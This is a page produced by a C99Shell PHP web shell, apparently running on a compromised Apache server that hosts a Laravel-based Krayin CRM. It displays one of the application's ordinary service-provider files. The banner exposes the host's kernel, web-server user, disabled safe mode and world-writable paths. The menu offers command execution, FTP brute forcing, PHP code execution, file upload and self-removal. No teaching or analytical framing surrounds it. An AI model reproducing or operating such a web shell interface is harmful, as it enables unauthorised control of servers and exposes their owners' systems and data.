!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/laravel-crm/packages/Webkul/Installer/src/Providers/   drwxrwxrwx
Free 13.17 GB of 57.97 GB (22.72%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     InstallerServiceProvider.php (1.8 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Webkul\Installer\Providers;

use 
Illuminate\Routing\Router;
use 
Illuminate\Support\Facades\Event;
use 
Illuminate\Support\ServiceProvider;
use 
Webkul\Installer\Console\Commands\Installer as InstallerCommand;
use 
Webkul\Installer\Http\Middleware\CanInstall;
use 
Webkul\Installer\Http\Middleware\Locale;

class 
InstallerServiceProvider extends ServiceProvider
{
    
/**
     * Indicates if loading of the provider is deferred.
     */
    
protected bool $defer false;

    
/**
     * Bootstrap the application events.
     */
    
public function boot(Router $router): void
    
{
        
$router->middlewareGroup('install', [CanInstall::class]);

        
$this->loadTranslationsFrom(__DIR__.'/../Resources/lang''installer');

        
$this->loadRoutesFrom(__DIR__.'/../Routes/web.php');

        
$this->loadMigrationsFrom(__DIR__.'/../Database/Migrations');

        
$this->loadTranslationsFrom(__DIR__.'/../Resources/lang''installer');

        
$this->loadViewsFrom(__DIR__.'/../Resources/views''installer');

        
$router->aliasMiddleware('installer_locale'Locale::class);

        
Event::listen('krayin.installed''Webkul\Installer\Listeners\Installer@installed');

        
$this->loadTranslationsFrom(__DIR__.'/../Resources/lang''installer');

        
/**
         * Route to access template applied image file
         */
        
$this->app['router']->get('cache/{filename}', [
            
'uses' => 'Webkul\Installer\Http\Controllers\ImageCacheController@getImage',
            
'as'   => 'image_cache',
        ])->
where(['filename' => '[ \w\\.\\/\\-\\@\(\)\=]+']);
    }

    
/**
     * Register the service provider.
     */
    
public function register(): void
    
{
        if (! 
$this->app->runningInConsole()) {
            return;
        }

        
$this->commands([InstallerCommand::class]);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0044 ]--